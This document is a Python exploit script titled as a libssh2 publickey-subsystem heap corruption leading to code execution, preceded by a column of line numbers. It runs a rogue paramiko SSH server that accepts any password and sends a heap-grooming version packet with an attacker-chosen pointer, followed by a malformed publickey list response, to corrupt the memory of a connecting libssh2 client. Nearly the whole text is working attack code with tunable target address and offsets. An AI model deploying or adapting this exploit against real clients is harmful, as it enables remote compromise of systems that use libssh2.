libssh2 Publickey Subsystem List Parser Heap Corruption to Code Execution

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184

import argparse
import socket
import struct
import sys
import threading
import time

import paramiko


DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 2228
DEFAULT_VICTIM = 0x0000013370000000
LIST_ENTRY_SIZE_WIN64 = 48


def ssh_string(value):
    return struct.pack(">I", len(value)) + value


def subsystem_packet(payload):
    return struct.pack(">I", len(payload)) + payload


def version_response():
    return subsystem_packet(ssh_string(b"version") + struct.pack(">I", 2))


def version_groom_response(attrs_ptr, offsets):
    payload_len = 9 * LIST_ENTRY_SIZE_WIN64
    payload = bytearray(payload_len)
    prefix = ssh_string(b"version")
    payload[: len(prefix)] = prefix
    for offset in offsets:
        struct.pack_into("<Q", payload, offset, attrs_ptr)
    return subsystem_packet(bytes(payload))


def malformed_publickey_response():
    payload = ssh_string(b"publickey") + ssh_string(b"n") + b"\x00"
    return subsystem_packet(payload)


def recv_exact(channel, wanted):
    chunks = []
    total = 0
    while total < wanted:
        chunk = channel.recv(wanted - total)
        if not chunk:
            raise EOFError("channel closed")
        chunks.append(chunk)
        total += len(chunk)
    return b"".join(chunks)


def recv_subsystem_packet(channel):
    header = recv_exact(channel, 4)
    length = struct.unpack(">I", header)[0]
    return recv_exact(channel, length)


def send_all(channel, data):
    offset = 0
    while offset < len(data):
        sent = channel.send(data[offset:])
        if sent <= 0:
            raise EOFError("send failed")
        offset += sent


def serve_publickey_channel(channel, attrs_ptr, offsets, hold_seconds, done):
    try:
        client_version = recv_subsystem_packet(channel)
        print(f"server_recv_version_len={len(client_version)}", flush=True)
        send_all(channel, version_response())
        print("server_sent_version=1", flush=True)

        client_list = recv_subsystem_packet(channel)
        print(f"server_recv_list_len={len(client_list)}", flush=True)
        send_all(channel, version_groom_response(attrs_ptr, offsets))
        print(
            f"server_sent_groom_attrs=0x{attrs_ptr:016x} offsets={offsets}",
            flush=True,
        )
        send_all(channel, malformed_publickey_response())
        print("server_sent_malformed_publickey=1", flush=True)
        time.sleep(hold_seconds)
    except Exception as exc:
        print(f"server_error={exc}", flush=True)
    finally:
        done.set()
        try:
            channel.close()
        except Exception:
            pass


class PublickeyServer(paramiko.ServerInterface):
    def __init__(self, attrs_ptr, offsets, hold_seconds, done):
        self.attrs_ptr = attrs_ptr
        self.offsets = offsets
        self.hold_seconds = hold_seconds
        self.done = done

    def check_auth_password(self, username, password):
        print(f"auth username={username!r} password_len={len(password)}", flush=True)
        return paramiko.AUTH_SUCCESSFUL

    def get_allowed_auths(self, username):
        return "password"

    def check_channel_request(self, kind, chanid):
        print(f"channel_request kind={kind!r} chanid={chanid}", flush=True)
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_channel_subsystem_request(self, channel, name):
        print(f"subsystem_request name={name!r}", flush=True)
        if name != "publickey":
            return False
        worker = threading.Thread(
            target=serve_publickey_channel,
            args=(
                channel,
                self.attrs_ptr,
                self.offsets,
                self.hold_seconds,
                self.done,
            ),
            daemon=True,
        )
        worker.start()
        return True


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default=DEFAULT_HOST)
    parser.add_argument("--port", type=int, default=DEFAULT_PORT)
    parser.add_argument("--victim", type=lambda s: int(s, 0), default=DEFAULT_VICTIM)
    parser.add_argument(
        "--offset",
        dest="offsets",
        action="append",
        type=lambda s: int(s, 0),
        default=None,
    )
    parser.add_argument("--hold", type=float, default=2.0)
    args = parser.parse_args()
    offsets = args.offsets if args.offsets is not None else [27]
    host_key = paramiko.RSAKey.generate(2048)
    done = threading.Event()

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((args.host, args.port))
    sock.listen(1)
    print(
        f"server_listening={args.host}:{args.port} victim=0x{args.victim:016x} offsets={offsets}",
        flush=True,
    )

    client, addr = sock.accept()
    print(f"server_client={addr[0]}:{addr[1]}", flush=True)
    transport = paramiko.Transport(client)
    transport.add_server_key(host_key)
    transport.start_server(
        server=PublickeyServer(args.victim, offsets, args.hold, done)
    )
    channel = transport.accept(20)
    if channel is None:
        print("server_no_channel=1", flush=True)
        return 1

    done.wait(20)
    transport.close()
    sock.close()
    print("server_done=1", flush=True)
    return 0


if __name__ == "__main__":
    sys.exit(main())